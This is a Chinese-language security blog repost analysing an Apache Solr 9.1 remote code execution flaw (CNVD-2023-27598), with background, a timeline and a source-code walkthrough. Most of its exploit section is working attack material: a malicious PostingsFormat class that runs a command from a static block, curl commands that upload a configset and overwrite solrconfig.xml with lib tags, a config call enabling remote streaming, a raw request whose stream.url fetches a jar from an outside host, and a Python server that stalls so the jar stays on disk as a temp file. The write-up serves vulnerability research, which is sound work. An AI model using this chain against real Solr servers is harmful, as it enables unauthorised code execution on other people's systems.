Apache Solr 9.1 RCE 分析 CNVD-2023-27598

渗透技巧 1年前 (2023) admin
846 0 0

时间线

2022年12月9日 漏洞提交官方

2023年2月20日 官方拒绝修复

2023年2月22日 提交cnvd

2023年3月24日 官方发布9.2.0 修复漏洞

2023年4月14日 CNVD 审核通过

一、简介

1.Apache Solr概述

建立在Lucene-core之上,Luncene是一个全文检索的工具包,它不是一个完整的引擎,Solr将它打包成了一个完整的引擎服务,并对外开放基于http请求的服务以及各种API,还有一个后台管理界面。所以,它既然是基于Luncene的,所以他的核心功能逻辑就应该和Luncene一样,给它一个Docunment,Solr进行分词以及查找反向索引,然后排序输出。

Solr 的基本前提很简单。您给它很多的信息,然后你可以问它的问题,找到你想要的信息。您在所有信息中提供的内容称为索引或更新。当你问一个问题时,它被称为查询。

在一些大型门户网站、电子商务网站等都需要站内搜索功能,使用传统的数据库查询方式实现搜索无法满足一些高级的搜索需求,比如:搜索速度要快、搜索结果按相关度排序、搜索内容格式不固定等,这里就需要使用全文检索技术实现搜索功能。

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Lucene 是一个全文检索引擎工具包,它是一个 jar 包,不能独立运行,对外提供服务。Apache Solr 中存储的资源是以 Document 为对象进行存储的。NoSQL特性和丰富的文档处理(例如Word和PDF文件)。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:id进行描述。 Solr是一个独立的企业级搜索应用服务器,目前很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。

Solr可以独立运行,打包成一个war。运行在Jetty、Tomcat等这些Servlet容器中,Solr索引的实现方法很简单,用 POST 方法向Solr服务器 发送一个描述

Field 及其内容的XML文档,Solr根据xml文档添加、删除、更新索引。Solr搜索只需要发送HTTP GET 请求,然后对 Solr 返回Xml、Json等格式的查询结果进行解析,组织页面布局。Solr不提供构建UI的功能,Solr提供了一个管理界面,通过管理界面可以查询Solr的配置和运行情况。

中文文档:https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html

2.使用范围及行业分布

  • 业界两个最流行的开源搜索引擎,Solr和ElasticSearch。Solr是Apache下的一个顶级开源项目。不少互联网巨头,如Netflix,eBay,Instagram和Amazon(CloudSearch)均使用Solr。
  • fofa搜索公网资产 一万 app=”APACHE-Solr”
  • GitHub Star数量 3.8k

3.重点产品特性

默认全局未授权,多部署于内网,内置zk服务

不可自动升级,需要手动升级修复漏洞

二、环境搭建及调试

获取源码及安装包:

https://dlcdn.apache.org/lucene/solr/8.11.2/solr-8.11.2.tgz

https://dlcdn.apache.org/lucene/solr/8.11.2/solr-8.11.2-src.tgz

8系列通过Ant 构建,不能直接导入idea,需要在目录下提前构建下

ant ivy-bootstrap、ant idea,然后直接导入idea即可

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

9 系列通过Gradle构建,直接导入idea即可,且需要jdk11及以上

编译成功后将源代码导入idea当中,开启solr并设置debug模式

cd \solr\bin
solr.cmd start -e cloudsolr.cmd stop -all
solr.cmd -c -f -a "-xdebug -
Xrunjdwp:transport=dt_socket, server=y, suspend=n, address=10010"-p 8983

漏洞的利用需要开启solrcloud
idea配置remote debug

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

三、漏洞前置知识

(1) zookeeper

zk是分布式系统中的一项协调服务。solr cloud启动默认启动内置zk服务,solr将zk用于三个关键操作:

1、集中化配置存储和分发

2、检测和提醒集群的状态改变

3、确定分片代表

**(2)**solrconfig.xml

此文件包含与请求处理和响应格式相关的定义和特定于核心的配置,以及索引,配置,管理内存和进行提交。内核配置文件,这个是影响Solr本身参数最多的配置文件。索引数据的存放位置,更新,删除,查询的一些规则配置

这个文件可以说,在功能上包含了一个core处理的全部配置信息

  • 指定Luncene版本
  • core的data目录 存放当前core的idnex索引文件和tlog事务日志文件
  • 索引存储工厂 配置了一些存储时的参数 线程等
  • 编解码方式
  • 配置索引属性,主要与Luncene创建索引的一些参数,文档字段最大长度、生成索引时INdexWriter可使用最大线程数、Luncene是否允许文件整合、buffer大小、指定Lucene使用哪个LockFactory等
  • 更新处理器 更新增加Document时的update对应什么处理动作在这里配置,在这里也可以自定义更新处理器
  • 以及查询的相关配置
  • 请求转发器 自定义增加在这里配置
  • 请求解析器 配置solr的请求解析行为
  • 请求处理器 solr通过requestHandler提供webservice功能,通过http请求对索引进行访问 可以自定义增加,在这里配置

(3) Solr配置集 configset

用于实现多个不同内核之间的配置共享

(4).关键类

SolrResourceLoader:关于SolrResourceLoader,通过类名来看是Solr的资源加载类,负责加载各种资源到运行环境中,通过ClassLoader以及文件读取加载类、文件资源等,也支持jndi的方式加载,以及一些url以及文件路径处理的方法。

SolrConfig:solrconfig.xml的对应实体类

https://xz.aliyun.com/t/9248

四、The way of RCE

SolrResourceLoader加载Evil Jar包执行static 代码块中恶意代码。

漏洞利用中这两句代码完成了恶意jar包的加载

loader.addToClassLoader(urls);
loader.reloadLuceneSPI();

org.apache.solr.core.SolrResourceLoader#addToClassLoader
首先获取到的classloader为URLClassLoader,URLClassLoader为后面加载路径时提供了更多的操作空间

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

needToReloadLuceneSPI,是否通过SPI机制加载默认为true,也就是说是通过Java SPI机制进行加载。

org.apache.solr.core.SolrResourceLoader#reloadLuceneSPI

// Codecs:
PostingsFormat.reloadPostingsFormats(this.classLoader);
DocValuesFormat.reloadDocValuesFormats(this.classLoader);
Codec.reloadCodecs(this.classLoader);
// Analysis:
CharFilterFactory.reloadCharFilters(this.classLoader);
TokenFilterFactory.reloadTokenFilters(this.classLoader);
TokenizerFactory.reloadTokenizers(this.classLoader);

SPI 原理
SPI 服务的加载可以分为两部分:

  • 类全称限定名的获取,即知道哪些类是服务提供者。
  • 类加载,把获取到的类加载到内存中,涉及上下文类加载器。
    SPI机制在指定配置的情况下,ServiceLoader.load 根据传入的接口类,遍历 META-INF/services 目录下的以该类命名的文件中的所有类,然再用类加载器加载这些服务。
Apache Solr 9.1 RCE 分析 CNVD-2023-27598

获取到 SPI 服务实现类的文件之后,就可以使用类加载器将对应的类加载到内存中,也就会触发恶意类中的static代码块。

了解到上述后,构造恶意类需指定META-INF/services下类,以及继承org.apache.lucene.codecs.PostingsFormat接口,构造如下

Apache Solr 9.1 RCE 分析 CNVD-2023-27598
/**
 * @auther Skay
 * @date 2022/12/5 10:42
 * @description
 */
public class Calc extends org.apache.lucene.codecs.PostingsFormat{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Calc() {
        super("Exploit");
        try {
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public FieldsConsumer fieldsConsumer(SegmentWriteState segmentWriteState) throws IOException {
        return null;
    }

    @Override
    public FieldsProducer fieldsProducer(SegmentReadState segmentReadState) throws IOException {
        return null;
    }

    public static void main(String[] args) {

    }
}

五、How to upload evil-Jar?

这里需要引入Apache Solr的两个已知功能点,

1.ConfigSet配置集上传功能

官方文档提供了详细的API调用规范 https://solr.apache.org/guide/8_8/configsets-api.html

实际操作将solr example项目中_default 打zip即可

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset.zip "http://192.168.220.16:8983/solr/admin/configs?action=UPLOAD&name=lib" -x "http://127.0.0.1:8888"

此接口的核心处理类为org.apache.solr.handler.admin.ConfigSetsHandler,configset.upload.enabled开关为默认开启,所以默认可以上传配置集文件。
配置集文件上传ZK中,首先判断了配置集是否已经存在,是否为单文件上传,filePath参数是否指定,文件是否覆盖等,紧接着进行文件解压(但是这里并无文件落地操作,都存储在ZK中)。

具体代码逻辑如下,关键位置做了一些简单的注释org.apache.solr.handler.admin.ConfigSetsHandler#handleConfigUploadRequest

private void handleConfigUploadRequest(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
  if (!"true".equals(System.getProperty("configset.upload.enabled", "true"))) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
        "Configset upload feature is disabled. To enable this, start Solr with '-Dconfigset.upload.enabled=true'.");
  }

// 获取上传的配置集文件名
  String configSetName = req.getParams().get(NAME);
  if (StringUtils.isBlank(configSetName)) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
        "The configuration name should be provided in the \"name\" parameter");
  }
// 此处开始配置集上传逻辑
  SolrZkClient zkClient = coreContainer.getZkController().getZkClient();
  String configPathInZk = ZkConfigManager.CONFIGS_ZKNODE + "/" + configSetName;
//判断ZK中是否已经存在
  boolean overwritesExisting = zkClient.exists(configPathInZk, true);

  boolean requestIsTrusted = isTrusted(req, coreContainer.getAuthenticationPlugin());

  // 获取上传一些参数
  String singleFilePath = req.getParams().get(ConfigSetParams.FILE_PATH, "");
  boolean allowOverwrite = req.getParams().getBool(ConfigSetParams.OVERWRITE, false);
  boolean cleanup = req.getParams().getBool(ConfigSetParams.CLEANUP, false);

  Iterator<ContentStream> contentStreamsIterator = req.getContentStreams().iterator();

  if (!contentStreamsIterator.hasNext()) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "No stream found for the config data to be uploaded");
  }
// 获取上传文件流
  InputStream inputStream = contentStreamsIterator.next().getStream();

  // 是否为单文件上传
  if (!singleFilePath.isEmpty()) {
    String fixedSingleFilePath = singleFilePath;
    if (fixedSingleFilePath.charAt(0) == '/') {
      fixedSingleFilePath = fixedSingleFilePath.substring(1);
    }
    if (fixedSingleFilePath.isEmpty()) {
      throw new SolrException(ErrorCode.BAD_REQUEST, "The file path provided for upload, '" + singleFilePath + "', is not valid.");
    } else if (cleanup) {
      // Cleanup is not allowed while using singleFilePath upload
      throw new SolrException(ErrorCode.BAD_REQUEST, "ConfigSet uploads do not allow cleanup=true when file path is used.");
    } else {
      try {
        // Create a node for the configuration in zookeeper
        // For creating the baseZnode, the cleanup parameter is only allowed to be true when singleFilePath is not passed.
        createBaseZnode(zkClient, overwritesExisting, requestIsTrusted, configPathInZk);
        String filePathInZk = configPathInZk + "/" + fixedSingleFilePath;
        zkClient.makePath(filePathInZk, IOUtils.toByteArray(inputStream), CreateMode.PERSISTENT, null, !allowOverwrite, true);
      } catch(KeeperException.NodeExistsException nodeExistsException) {
        throw new SolrException(ErrorCode.BAD_REQUEST,
                "The path " + singleFilePath + " for configSet " + configSetName + " already exists. In order to overwrite, provide overwrite=true or use an HTTP PUT with the V2 API.");
      }
    }
    return;
  }
  
// 单文件上传允许文件覆盖
  if (overwritesExisting && !allowOverwrite) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "The configuration " + configSetName + " already exists in zookeeper");
  }

  Set<String> filesToDelete;
  if (overwritesExisting && cleanup) {
    filesToDelete = getAllConfigsetFiles(zkClient, configPathInZk);
  } else {
    filesToDelete = Collections.emptySet();
  }

  // zk中创建节点
  // For creating the baseZnode, the cleanup parameter is only allowed to be true when singleFilePath is not passed.
  createBaseZnode(zkClient, overwritesExisting, requestIsTrusted, configPathInZk);

//获取zip文件流 在zk中存储
  ZipInputStream zis = new ZipInputStream(inputStream, StandardCharsets.UTF_8);
  ZipEntry zipEntry = null;
  boolean hasEntry = false;
  while ((zipEntry = zis.getNextEntry()) != null) {
    hasEntry = true;
    String filePathInZk = configPathInZk + "/" + zipEntry.getName();
    if (filePathInZk.endsWith("/")) {
      filesToDelete.remove(filePathInZk.substring(0, filePathInZk.length() -1));
    } else {
      filesToDelete.remove(filePathInZk);
    }
    if (zipEntry.isDirectory()) {
      zkClient.makePath(filePathInZk, false,  true);
    } else {
      createZkNodeIfNotExistsAndSetData(zkClient, filePathInZk,
          IOUtils.toByteArray(zis));
    }
  }
  zis.close();
  if (!hasEntry) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "Either empty zipped data, or non-zipped data was uploaded. In order to upload a configSet, you must zip a non-empty directory to upload.");
  }
  deleteUnusedFiles(zkClient, filesToDelete);

  // If the request is doing a full trusted overwrite of an untrusted configSet (overwrite=true, cleanup=true), then trust the configSet.
  if (cleanup && requestIsTrusted && overwritesExisting && !isCurrentlyTrusted(zkClient, configPathInZk)) {
    byte[] baseZnodeData =  ("{\"trusted\": true}").getBytes(StandardCharsets.UTF_8);
    zkClient.setData(configPathInZk, baseZnodeData, true);
  }
}

2.sechema-designer 功能

此功能为Solr 8.10及以后新引入的功能点,Schema Designer 屏幕允许用户使用示例数据以交互方式设计新模式。

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

它的技术细节我们可以不用去考虑,通过阅读官方文档,新的sechema的创建可以基于我们上传的Configset来创建

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

其实我们上传的ConfigSet是用来创建Collettion和Core的,这里之前出过漏洞,CVE-2020-13957,也是配置集上传导致的RCE。

这里复习一下solrconfig.xml 文件,此文件包含与请求处理和响应格式相关的定义和特定于核心的配置,以及索引,配置,管理内存和进行提交。内核配置文件,这个是影响Solr本身参数最多的配置文件。索引数据的存放位置,更新,删除,查询的一些规则配置 。

所以现在我们可以上传一个可控的solrconfig.xml 文件,可操作的范围就很多了。当我们上传了配置集文件,之前的新建Collections调用接口已被修复,将目光转向Schema Designer,新建一个Sehema

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

这里会出现报错,需要跟一下代码逻辑

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

首先新建一个secheam会加载solrconfig.xml,org.apache.solr.handler.designer.SchemaDesignerConfigSetHelper#loadSolrConfig,也就是去zk中去寻找solrconfig.xml 文件

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

在初始化SolrConfig(SolrConfig.xml 的对应类)过程中,会通过ZKloader加载配置文件

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

org.apache.solr.cloud.ZkSolrResourceLoader#openResource,查找文件,很显然这里是没有在ZK中找到solrconfig.xml 文件

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

沉思,配置集合上传路径新建的zk查询路径为/configs/* ,而新建designer-schema 在查询路径时会加上.designer*。

But,在配置集上传时我们可以指定filePath,且允许单文件上传以及文件覆盖选项,只需要单独上传下solrconfig.xml即可。

3.覆盖恶意solrconfig.xml

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset/solrconfig.xml "http://192.168.220.16:8983/solr/admin/configs?action=UPLOAD&name=lib&filePath=solrconfig.xml&overwrite=true"

我们按照模板上传了一个默认的solrconfig.xml 文件,指定filePath,指定overwrite为true
再来重试一下新建schema,仍旧报错

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

但是这个报错我们可以去忽略掉,因为可以看到这里solrconfig.xml 已经成功找到了,关键的SolrConfig类已经成功的初始化了。

Apache Solr 9.1 RCE 分析 CNVD-2023-27598

4.SolrConfig初始化

还是在org.apache.solr.core.SolrConfig#SolrConfig 构造函数中,存在此漏洞关键点initLibs 方法org.apache.solr.core.SolrConfig#initLibs,它会读取SolrConfig.xml 中的标签中的值,去动态加载符合正则的文件当作jar包加载入jvm当中。

private void initLibs(SolrResourceLoader loader, boolean isConfigsetTrusted) {
  // TODO Want to remove SolrResourceLoader.getInstancePath; it can be on a Standalone subclass.
  //  For Zk subclass, it's needed for the time being as well.  We could remove that one if we remove two things
  //  in SolrCloud: (1) instancePath/lib  and (2) solrconfig lib directives with relative paths.  Can wait till 9.0.
  Path instancePath = loader.getInstancePath();
  List<URL> urls = new ArrayList<>();

  Path libPath = instancePath.resolve("lib");
  if (Files.exists(libPath)) {
    try {
      urls.addAll(SolrResourceLoader.getURLs(libPath));
    } catch (IOException e) {
      log.warn("Couldn't add files from {} to classpath: {}", libPath, e);
    }
  }
  List<ConfigNode> nodes = root.getAll("lib");
  if (nodes != null && nodes.size() > 0) {
    if (!isConfigsetTrusted) {
      throw new SolrException(ErrorCode.UNAUTHORIZED,
        "The configset for this collection was uploaded without any authentication in place,"
          + " and use of <lib> is not available for collections with untrusted configsets. To use this component, re-upload the configset"
          + " after enabling authentication and authorization.");
    }

    for (int i = 0; i < nodes.size(); i++) {
      ConfigNode node = nodes.get(i);
      String baseDir = node.attr("dir");
      String path = node.attr(PATH);
      if (null != baseDir) {
        // :TODO: add support for a simpler 'glob' mutually exclusive of regex
        Path dir = instancePath.resolve(baseDir);
        String regex = node.attr("regex");
        try {
          if (regex == null)
            urls.addAll(SolrResourceLoader.getURLs(dir));
          else
            urls.addAll(SolrResourceLoader.getFilteredURLs(dir, regex));
        } catch (IOException e) {
          log.warn("Couldn't add files from {} filtered by {} to classpath: {}", dir, regex, e);
        }
      } else if (null != path) {
        final Path dir = instancePath.resolve(path);
        try {
          urls.add(dir.toUri().toURL());
        } catch (MalformedURLException e) {
          log.warn("Couldn't add file {} to classpath: {}", dir, e);
        }
      } else {
        throw new RuntimeException("lib: missing mandatory attributes: 'dir' or 'path'");
      }
    }
  }

  if (!urls.isEmpty()) {
    loader.addToClassLoader(urls);
    loader.reloadLuceneSPI();
  }
}

所以构造恶意solrconfig.xml 添加lib标签即可,不同操作系统的触发需要配置不同的lib标签

Windows:

上面说到,使用的classloader继承于URLClassLoader,所以Windows系统可以使用UNC路径来进行文件的加载 。可以省略注入临时文件步骤

Apache Solr 9.1 RCE 分析 CNVD-2023-27598 Apache Solr 9.1 RCE 分析 CNVD-2023-27598

Linux:SSRF Jar协议 注入临时文件

这里也是官方提供的一个正常功能接口,当requestDispatcher.requestParsers.enableRemoteStreaming参数远程设置为true后,可实现http协议ssrf,netdoc协议目录遍历,file协议读取任意文件,jar协议注入tmp文件

注:需出网

 curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.220.16:8983/solr/gettingstarted_shard1_replica_n1/config -H 'Content-type:application/json'
POST /solr/gettingstarted_shard2_replica_n1/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.220.16:8983
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 196
Content-Type: multipart/form-data; boundary=------------------------5897997e44b07bf9
Connection: close

--------------------------5897997e44b07bf9
Content-Disposition: form-data; name="stream.url"

jar:http://192.168.220.1:7878/calc.jar?!/Calc.class
--------------------------5897997e44b07bf9--

服务端:这里攻击期间服务端需要一直不给返回包,否则tmp临时文件注入失败

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = '0.0.0.0' 
listen_port = 7777 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('\r\nClient req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))
                self.request.sendall(contents[])
                time.sleep(300000)
                print(30)
                self.request.sendall(contents[])

            except Exception as e:
                print ("get error at:"+str(e))



                
if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

六、漏洞演示

Apache Solr 9.1 RCE 分析 CNVD-2023-27598 Apache Solr 9.1 RCE 分析 CNVD-2023-27598

七、测试版本

8 系列最新版本 8.11

9 系列最新版本9.1

八、参考文章

https://xz.aliyun.com/t/9248

https://solr.apache.org/guide/8_10/schema-designer.html

https://solr.apache.org/guide/solr/latest/configuration-guide/configsets-api.html

 

原文始发于Noah Lab:Apache Solr 9.1 RCE 分析 CNVD-2023-27598

版权声明:admin 发表于 2023年4月14日 下午8:03。
转载请注明:Apache Solr 9.1 RCE 分析 CNVD-2023-27598 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...